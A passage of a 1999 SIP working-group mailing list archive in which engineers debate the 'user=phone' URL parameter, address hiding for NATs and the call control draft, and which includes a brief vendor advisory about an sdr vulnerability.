inclusion in the Request-URI would cause that big of a problem in most
implementations as it will almost certainly be included in the To:/From: URIs
as well.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Sun Jun 20 13:09:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA22344
	for confctrl-outgoing; Sun, 20 Jun 1999 13:09:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22339
	for <confctrl@zephyr.isi.edu>; Sun, 20 Jun 1999 13:09:57 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22306
	for <confctrl@ISI.EDU>; Sun, 20 Jun 1999 13:09:56 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id PAA04099;
	Sun, 20 Jun 1999 15:09:30 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA02279;
	Sun, 20 Jun 1999 15:09:21 -0500 (CDT)
Received: from b04a42.exu.ericsson.se (b04a42.exu.ericsson.se [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA13308; Sun, 20 Jun 1999 15:09:18 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a42.exu.ericsson.se (8.9.1/8.9.1) id PAA25813;
	Sun, 20 Jun 1999 15:09:16 -0500 (CDT)
Date: Sun, 20 Jun 1999 15:09:16 -0500 (CDT)
Message-Id: <199906202009.PAA25813@b04a42.exu.ericsson.se>
To: jdrosen@dnrc.bell-labs.com, scott.petrack@metatel.com
Subject: Re: URL user parameter
Cc: John.H.Hearty@wcom.com, confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> I agree with Jonathan about the original meaning of the user=phone tag.
> I have always assumed that it really only expresses a caller preference:
> 
> My phone number happens to be 617-738-7225. This truly identifies a
> particular pair of copper wires which lead into my home. However, it is
> possible that I might wish to use this number as my SIP alias, so that
> when someone tries to "call" the number 617-738-7225, it is not my phone
> which rings, but some other device (depending on the logic installed
> in various SIP servers). How can the caller express the sentiment "Please
> invite the *phone device* 617-738-7225, not the *user alias* 617-38-7225?
> 
> The caller does this by adding the "user=phone" parameter to the URL.
> 
> As Jonathan said, there is no guarantee that this will result in a phone
> ringing, nor does this really affect interoperability. 
> 

The semantics you propose are interesting but I don't think this is the
proper solution. The user=phone tag always seemed more of a parser hint.

Assuming you are dealing with a SIP IP Phone, you might be able to address
the phone directly (or not depending on NAT, firewalls, etc.)

Otherwise, what you seem to want is to indicate something like
"user=literal", meaning that the user part of the Request-URI can not be 
re-written by any intermediate proxy/gateway. This of course could extend
beyond just your traditional black phone. 

Perhaps this could become a new "Request-dispostion:" header value 
"user-rewrite/no-user-rewrite" in the SIP Caller Preferences I-D.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Sun Jun 20 20:52:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA00665
	for confctrl-outgoing; Sun, 20 Jun 1999 20:52:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA00660
	for <confctrl@zephyr.isi.edu>; Sun, 20 Jun 1999 20:52:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA03681
	for <confctrl@isi.edu>; Sun, 20 Jun 1999 20:52:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sun Jun 20 23:50:58 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.90])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA24900;
	Sun, 20 Jun 1999 23:50:55 -0400 (EDT)
Message-ID: <376DB6C8.6D66CAFF@dnrc.bell-labs.com>
Date: Sun, 20 Jun 1999 23:51:36 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: scott.petrack@metatel.com, John.H.Hearty@wcom.com, confctrl@ISI.EDU
Subject: Re: URL user parameter
References: <199906202009.PAA25813@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> > My phone number happens to be 617-738-7225. This truly identifies a
> > particular pair of copper wires which lead into my home. However, it is
> > possible that I might wish to use this number as my SIP alias, so that
> > when someone tries to "call" the number 617-738-7225, it is not my phone
> > which rings, but some other device (depending on the logic installed
> > in various SIP servers). How can the caller express the sentiment "Please
> > invite the *phone device* 617-738-7225, not the *user alias* 617-38-7225?
> >
> > The caller does this by adding the "user=phone" parameter to the URL.
> >
> > As Jonathan said, there is no guarantee that this will result in a phone
> > ringing, nor does this really affect interoperability.
> >
> 
> The semantics you propose are interesting but I don't think this is the
> proper solution. The user=phone tag always seemed more of a parser hint.

Right.

If you want to call a phone number, what you may actually want is to
include a phone URL in the SIP invite. Unless you know the gateway
address right off the bat, this is really the only sensible way to
address a phone. So:

INVITE tel:5551212 SIP/2.0
....

would be sent from the UA, presumably to a locally configured proxy (no
name to look up in DNS). The proxy might run GLP, and thus allow it to
determine that the next hop SIP server towards a gateway to reach this
number is gateway2.company.com. So, the proxied request looks like:

INVITE sip:5551212@gateway2.company.com;user=phone
...

where the user=phone is a parser hint.


> 
> Assuming you are dealing with a SIP IP Phone, you might be able to address
> the phone directly (or not depending on NAT, firewalls, etc.)
> 
> Otherwise, what you seem to want is to indicate something like
> "user=literal", meaning that the user part of the Request-URI can not be
> re-written by any intermediate proxy/gateway. This of course could extend
> beyond just your traditional black phone.
> 
> Perhaps this could become a new "Request-dispostion:" header value
> "user-rewrite/no-user-rewrite" in the SIP Caller Preferences I-D.

Actually, there was once a Request-disposition token called
"do-not-forward". This isn't in the current caller preferences draft. I
think it got axed because its near impossible to tell the difference
between forwarding and a local name translation. Also, it sort of
evolved into the "proxy-feature" token, which can either be proxy or
redirect.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jun 21 04:38:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA09383
	for confctrl-outgoing; Mon, 21 Jun 1999 04:38:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA09378
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 04:38:04 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA15332
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 04:38:02 -0700 (PDT)
Received: (qmail 5865 invoked from network); 21 Jun 1999 13:38:00 +0200
Received: from du160-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.160)
  by hromeo.algonet.se with SMTP; 21 Jun 1999 13:38:00 +0200
Message-ID: <376E25DB.51DD68D5@intertex.se>
Date: Mon, 21 Jun 1999 13:45:31 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
CC: Alan Johnston <alan.johnston@wcom.com>
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com> <376A0C87.38EAEB4E@intertex.se> <376B2625.38E87D29@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
>
...
> >
> > I think Via hiding is a very useful feature for NATs, where the task is
> > to hide local addresses.
> 
> The task of a NAT is not to hide these addresses, but to translate them
> because they aren't globally routable. Fortunately, the Route and Via
> headers don't need to contain globally routable addresses, since they
> are interpreted only by hosts within the same context where the
> addresses are valid.

Yes, you are right, the primary task is to translate addresses, but in
addition, there may be reasons to hide addresses.

> 
> Even if a nat did wish to hide the internal addresses for security,
> there are other ways to do this besides the hiding mechanism. The NAT
> could simply remove both the Route and Via headers so far, and store
> them in a table indexed by the transaction and Call-ID. The forwarded
> request then looks as if it was originated from the NAT. When the
> response comes, the Via and Record-Routes are added back in as the
> response is forwarded. Same for requests in the reverse direction - the
> Route headers would be placed in the request based on the Record-Route
> headers in the table. Unfortunately, the NAT has to hold these entries
> for a while (until the call is over). But, this is the same amount of
> time a NAT using the hiding mechanism would need to remember how to
> decrypt the Record-Route headers. These headers cannot just be encrypted
> as is; they must be encrypted with some random salt otherwise the path
> can still be guessed. Thus, to decrypt the Route headers in requests in
> the reverse direction, the proxy must remember what random number it
> used, for the duration of the call.

This is correct. However I think it is less resource consuming to store
that random number than storing Via- and Route-lists and this is the
reason why a nat might want to do so.

> 
> The SDP will anyway contain an IP address and port for media that cannot
> be hidden.

Yes, they can't be hidden and here is where the translation has to be
done. Since the NAT has to keep state for the translation during the
call, there is no need to hide the SDP addresses in the SIP message.
/Lars

> 
> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Mon Jun 21 05:16:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10222
	for confctrl-outgoing; Mon, 21 Jun 1999 05:16:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10217
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 05:16:37 -0700 (PDT)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA16477
	for <confctrl@isi.edu>; Mon, 21 Jun 1999 05:16:36 -0700 (PDT)
Received: from [192.168.10.5] (ts001d01.cht-ma.concentric.net [206.173.19.13])
	by devonshire.cnchost.com (8.9.3/)
	id IAA00982; Mon, 21 Jun 1999 08:15:14 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.5]
Date: Mon, 21 Jun 1999 08:17:02 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Sean Olson <eussean@exu.ericsson.se>, John.H.Hearty@wcom.com,
        confctrl@ISI.EDU
Subject: Re: URL user parameter
In-Reply-To: <376DB6C8.6D66CAFF@dnrc.bell-labs.com>
Message-ID: <Pine.LNX.4.10.9906210754380.828-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



On Sun, 20 Jun 1999, Jonathan Rosenberg wrote:

> > The semantics you propose are interesting but I don't think this is the
> > proper solution. The user=phone tag always seemed more of a parser hint.
> 
> Right.

Well, please put a sentence into the next version of SIP to make this
clear. I know several people who are silly enough to think that 
"user=phone" means that the destination user is a phone, rather
than that the user field inside the userinfo part of the SIP-URL is a
phone number. 

More important, it's hard for me to understand why I would want to 
"hint" to the parser that it's a phone number unless I also wanted to 
"hint" that the phone refers to, uh, a phone. Somehow, I thought that's
what it means to be a phone number -- it means that it's a number that
refers to a phone. Obviously I'm missing some fine distinction here.

> 
> If you want to call a phone number, what you may actually want is to
> include a phone URL in the SIP invite. Unless you know the gateway
> address right off the bat, this is really the only sensible way to
> address a phone. So:
> 
> INVITE tel:5551212 SIP/2.0
> ....
> 
> would be sent from the UA, presumably to a locally configured proxy (no
> name to look up in DNS). The proxy might run GLP, and thus allow it to
> determine that the next hop SIP server towards a gateway to reach this
> number is gateway2.company.com. So, the proxied request looks like:
> 
> INVITE sip:5551212@gateway2.company.com;user=phone
> ...
> 
> where the user=phone is a parser hint.
> 

I'm used to these fine distinctions from Talmud discussions, but not from
application protocols:

1) If the UAC sends the INVITE to sip:5551212;user=phone this would give 
the parser a hint that 5551212 is a phone number, right? Well, given this
hint, the local proxy is likely to say "hmm, what do I do to connect to 
a phone number? Guess I better find a gateway." On the other hand, if the
INVITE came to "tel:5551212", a clever proxy would say "well, he wants to
invite the telephone, but my logic says that invites to a phone are always 
sent to an rtsp voicemail recorder (or whatever). 
So I don't see much of a
difference between the trying to INVITE tel:5551212 and
sip:5551212;user=phone. In both cases the local proxy i understands via
some hint that 551212 is a phone number, and in both cases the local proxy
can choose to route the call anyway it wants.

2) When the local proxy figures out the right gateway and proxies the
INVITE to the gateway, surely the gateway doesn't need the "hint" that 
5551212 is a phone number. It's a PSTN gateway, and it was sent the number
for that purpose. So putting the "user=phone" tag in for the remote 
gateway seems not very useful.

I am uncomfortable using "tel:" sometimes and "user=phone" at other times.
What happens if there are 5 proxies along the way?
At what point does the magical SIP system providentially
change the "hint" from being "tel:" before the number to "user=phone"
after the number? Why not just say that "user=phone" is what is always
used to mean "this is a parser hint that the user field is a phone number,
and putting it there means that the sender wants the parser (and the
server behind it) to know that it's a phone number."

It's not a big deal, but it does seem like splitting hairs to me to say
"for this case you need 'user=phone' but for that case you need 'tel:'".

Scott



From confctrl-owner  Mon Jun 21 07:04:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA12570
	for confctrl-outgoing; Mon, 21 Jun 1999 07:04:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA12565
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 07:04:44 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA19996
	for <confctrl@isi.edu>; Mon, 21 Jun 1999 07:04:42 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.24967-0@bells.cs.ucl.ac.uk>; Mon, 21 Jun 1999 15:04:02 +0100
To: release@cs.ucl.ac.uk, confctrl@ISI.EDU
Subject: sdr security alert
cc: okir@caldera.de, sdr@cs.ucl.ac.uk
Reply-To: sdr@cs.ucl.ac.uk
Date: Mon, 21 Jun 1999 15:04:01 +0100
Message-ID: <4605.929973841@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

A serious security problem has been discovered with sdr which will allow
remote intruders to execute arbitrary code with the privileges of the sdr
user. This problem exists in all recent versions of sdr and affects both
unix and windows versions.

We are working on fixing this problem, but until that fix becomes available
we recommend that you do not use sdr.

Thanks to Olaf Kirch for bringing this problem to our attention.

Colin Perkins/Kristian Hasler
Networked Multimedia Group
University College London

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQCVAgUBN25GE7fj66MyK6VJAQF9HgP/TKwOmIgYbOCgs4Rjkqpc9XPiYtcbr4jF
obQx/zw06neado97q9lhA4XRqZZBSMAtEz9ju5lU9FKkJUMVQ5fncxHfzZz+zogv
/Z9zXOj73mifE/1rzgF9Ey3tLPGMU9aW1o0uLAXHYrGtMSa1FtR81fNf57NJHW/m
wQmYEOeQ6EQ=
=BFCx
-----END PGP SIGNATURE-----

From confctrl-owner  Mon Jun 21 08:14:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA14196
	for confctrl-outgoing; Mon, 21 Jun 1999 08:14:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14191
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 08:14:28 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23231
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 08:14:27 -0700 (PDT)
Received: from eubchja (fender.pcs.ellemtel.net [194.237.226.66]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LC0134C4; Mon, 21 Jun 1999 17:14:41 +0200
Message-ID: <018201bebbf8$8c9aa0a0$42e2edc2@eubchja.PCS>
From: "Christian jansson" <Christian.Jansson@ellemtel.se>
To: <confctrl@ISI.EDU>
Subject: Also: header gone?
Date: Mon, 21 Jun 1999 17:12:26 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the "Signaling for Internet Telephony " paper by Schulzrinne/Rosenberg
are despritions of Also:, Location:, Requested-By:, and Replaces: headers.
But in the RFC no such headers can be found. Are they gone?

Are there new, and perhaps better ways to perform the described services?

/Christian Jansson


From confctrl-owner  Mon Jun 21 08:52:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA15658
	for confctrl-outgoing; Mon, 21 Jun 1999 08:52:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15652
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 08:52:58 -0700 (PDT)
Received: from wombo.com (www.wombo.com [199.108.92.215])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26266
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 08:52:56 -0700 (PDT)
Received: from cs.columbia.edu (194.188.251.230) by wombo.com with
 ESMTP (Eudora Internet Mail Server 1.1.2); Mon, 21 Jun 1999 08:54:59 -0700
Message-ID: <376EB54B.AF6FABA6@cs.columbia.edu>
Date: Mon, 21 Jun 1999 17:57:31 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.51 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Sean Olson <eussean@exu.ericsson.se>, John.H.Hearty@wcom.com,
        confctrl@ISI.EDU
Subject: Re: URL user parameter
References: <Pine.LNX.4.10.9906210754380.828-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The user parameter is simply a hint. It was put there just in case some
gateway (say, Compuserve) had both a phone number and user id that
looked similar. 

To amplify what was said earlier: You may well start out with
INVITE tel:12125551212
To: tel:12125551212

(note: no gateway given, somebody else makes the decision)

and then the proxy transforms this to
INVITE sip:12125551212@my-favorite-gateway.com
To: tel:12125551212

whether this gateway requires the 'user' parameter is a local issue.
Generally, I don't think that deriving semantic differentiation is a
good idea, so that almost all gateways should work the same whether this
is 

INVITE sip:1...@...com;user=phone

or

INVITE sip:1...@....com

However, CompuServe may return an 'ambiguous' error if it can't tell
whether this is a phone number or a local user identifier. (After all,
phone numbers can contain commas, just like compuserve email addresses.)


Any disagreements with spelling out these rules as follows:

1) If the user-id is recognizable by the server as a phone number and
the 'user' parameter is either missing or has the value 'phone', the
server either finds a gateway and forwards or proxies the request there
or performs the gateway operation itself. (Note: Not all servers will be
able to forward calls to a PSTN gateway [but for a small fee to the
authors of the SIP spec, we will include the name of your company's
gateway as the default here].)

2) If the user-id has a 'user' parameter of 'ip', the gateway MUST NOT
attempt to interpret the user id as a phone number. (Obviously...)

3) If the 'user' element can be either a phone number of a local user
identifier and the 'user' parameter is not given, the server returns 485
(Ambiguous).

4) Servers copying the phone number from tel: URIs to the user part of
SIP URIs SHOULD add the 'user=phone' parameter to avoid ambiguity.

This is basically indicated in the current text, except in reverse, in
that the server MAY interpret a number as a phone number even it is not
labeled as such. The above basically strengthens this as a bit.

While most phone numbers can be easily recognized, you can construct
weird phone numbers (like wp5677), which look like valid Columbia email
addresses. 

Scott Petrack wrote:
> 
> On Sun, 20 Jun 1999, Jonathan Rosenberg wrote:
> 
> > > The semantics you propose are interesting but I don't think this is the
> > > proper solution. The user=phone tag always seemed more of a parser hint.
> >
> > Right.
> 
> Well, please put a sentence into the next version of SIP to make this
> clear. I know several people who are silly enough to think that
> "user=phone" means that the destination user is a phone, rather
> than that the user field inside the userinfo part of the SIP-URL is a
> phone number.
> 
> More important, it's hard for me to understand why I would want to
> "hint" to the parser that it's a phone number unless I also wanted to
> "hint" that the phone refers to, uh, a phone. Somehow, I thought that's
> what it means to be a phone number -- it means that it's a number that
> refers to a phone. Obviously I'm missing some fine distinction here.
> 
> >
> > If you want to call a phone number, what you may actually want is to
> > include a phone URL in the SIP invite. Unless you know the gateway
> > address right off the bat, this is really the only sensible way to
> > address a phone. So:
> >
> > INVITE tel:5551212 SIP/2.0
> > ....
> >
> > would be sent from the UA, presumably to a locally configured proxy (no
> > name to look up in DNS). The proxy might run GLP, and thus allow it to
> > determine that the next hop SIP server towards a gateway to reach this
> > number is gateway2.company.com. So, the proxied request looks like:
> >
> > INVITE sip:5551212@gateway2.company.com;user=phone
> > ...
> >
> > where the user=phone is a parser hint.
> >
> 
> I'm used to these fine distinctions from Talmud discussions, but not from
> application protocols:
> 
> 1) If the UAC sends the INVITE to sip:5551212;user=phone this would give
> the parser a hint that 5551212 is a phone number, right? Well, given this
> hint, the local proxy is likely to say "hmm, what do I do to connect to
> a phone number? Guess I better find a gateway." On the other hand, if the
> INVITE came to "tel:5551212", a clever proxy would say "well, he wants to
> invite the telephone, but my logic says that invites to a phone are always
> sent to an rtsp voicemail recorder (or whatever).
> So I don't see much of a
> difference between the trying to INVITE tel:5551212 and
> sip:5551212;user=phone. In both cases the local proxy i understands via
> some hint that 551212 is a phone number, and in both cases the local proxy
> can choose to route the call anyway it wants.
> 
> 2) When the local proxy figures out the right gateway and proxies the
> INVITE to the gateway, surely the gateway doesn't need the "hint" that
> 5551212 is a phone number. It's a PSTN gateway, and it was sent the number
> for that purpose. So putting the "user=phone" tag in for the remote
> gateway seems not very useful.
> 
> I am uncomfortable using "tel:" sometimes and "user=phone" at other times.
> What happens if there are 5 proxies along the way?
> At what point does the magical SIP system providentially
> change the "hint" from being "tel:" before the number to "user=phone"
> after the number? Why not just say that "user=phone" is what is always
> used to mean "this is a parser hint that the user field is a phone number,
> and putting it there means that the sender wants the parser (and the
> server behind it) to know that it's a phone number."
> 
> It's not a big deal, but it does seem like splitting hairs to me to say
> "for this case you need 'user=phone' but for that case you need 'tel:'".
> 
> Scott

From confctrl-owner  Mon Jun 21 09:43:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17555
	for confctrl-outgoing; Mon, 21 Jun 1999 09:43:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17546
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 09:43:13 -0700 (PDT)
Received: from wombo.com (www.wombo.com [199.108.92.215])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00874
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 09:43:12 -0700 (PDT)
Received: from cs.columbia.edu (194.188.251.230) by wombo.com with
 ESMTP (Eudora Internet Mail Server 1.1.2); Mon, 21 Jun 1999 09:45:17 -0700
Message-ID: <376EC115.624DA74A@cs.columbia.edu>
Date: Mon, 21 Jun 1999 18:47:49 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.51 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian jansson <Christian.Jansson@ellemtel.se>
CC: confctrl@ISI.EDU
Subject: Re: Also: header gone?
References: <018201bebbf8$8c9aa0a0$42e2edc2@eubchja.PCS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

No, the headers (or variations) have moved into the call control
specification, to be re-issued shortly, but with an early version found
on the SIP web page at http://www.cs.columbia.edu/~hgs/sip

Christian jansson wrote:
> 
> In the "Signaling for Internet Telephony " paper by Schulzrinne/Rosenberg
> are despritions of Also:, Location:, Requested-By:, and Replaces: headers.
> But in the RFC no such headers can be found. Are they gone?
> 
> Are there new, and perhaps better ways to perform the described services?
> 
> /Christian Jansson

From confctrl-owner  Mon Jun 21 10:06:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA18891
	for confctrl-outgoing; Mon, 21 Jun 1999 10:06:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA18886
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 10:06:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA04464
	for <confctrl@isi.edu>; Mon, 21 Jun 1999 10:06:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Jun 21 13:04:43 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA18167;
	Mon, 21 Jun 1999 13:04:43 -0400 (EDT)
Message-ID: <376E6D4E.88B7EDE4@dnrc.bell-labs.com>
Date: Mon, 21 Jun 1999 12:50:22 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Christian jansson <Christian.Jansson@ellemtel.se>
CC: confctrl@ISI.EDU
Subject: Re: Also: header gone?
References: <018201bebbf8$8c9aa0a0$42e2edc2@eubchja.PCS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This stuff is now in the call control specification. An older version is
at:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-cc-00.txt

and we will be posting an update within the next few days.

Thanks,
Jonathan R.

Christian jansson wrote:
> 
> In the "Signaling for Internet Telephony " paper by Schulzrinne/Rosenberg
> are despritions of Also:, Location:, Requested-By:, and Replaces: headers.
> But in the RFC no such headers can be found. Are they gone?
> 
> Are there new, and perhaps better ways to perform the described services?
> 
> /Christian Jansson

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jun 21 13:06:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28959
	for confctrl-outgoing; Mon, 21 Jun 1999 13:06:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28954
	for <confctrl@zephyr.isi.edu>; Mon, 21 Jun 1999 13:06:55 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA27646
	for <confctrl@ISI.EDU>; Mon, 21 Jun 1999 13:06:54 -0700 (PDT)
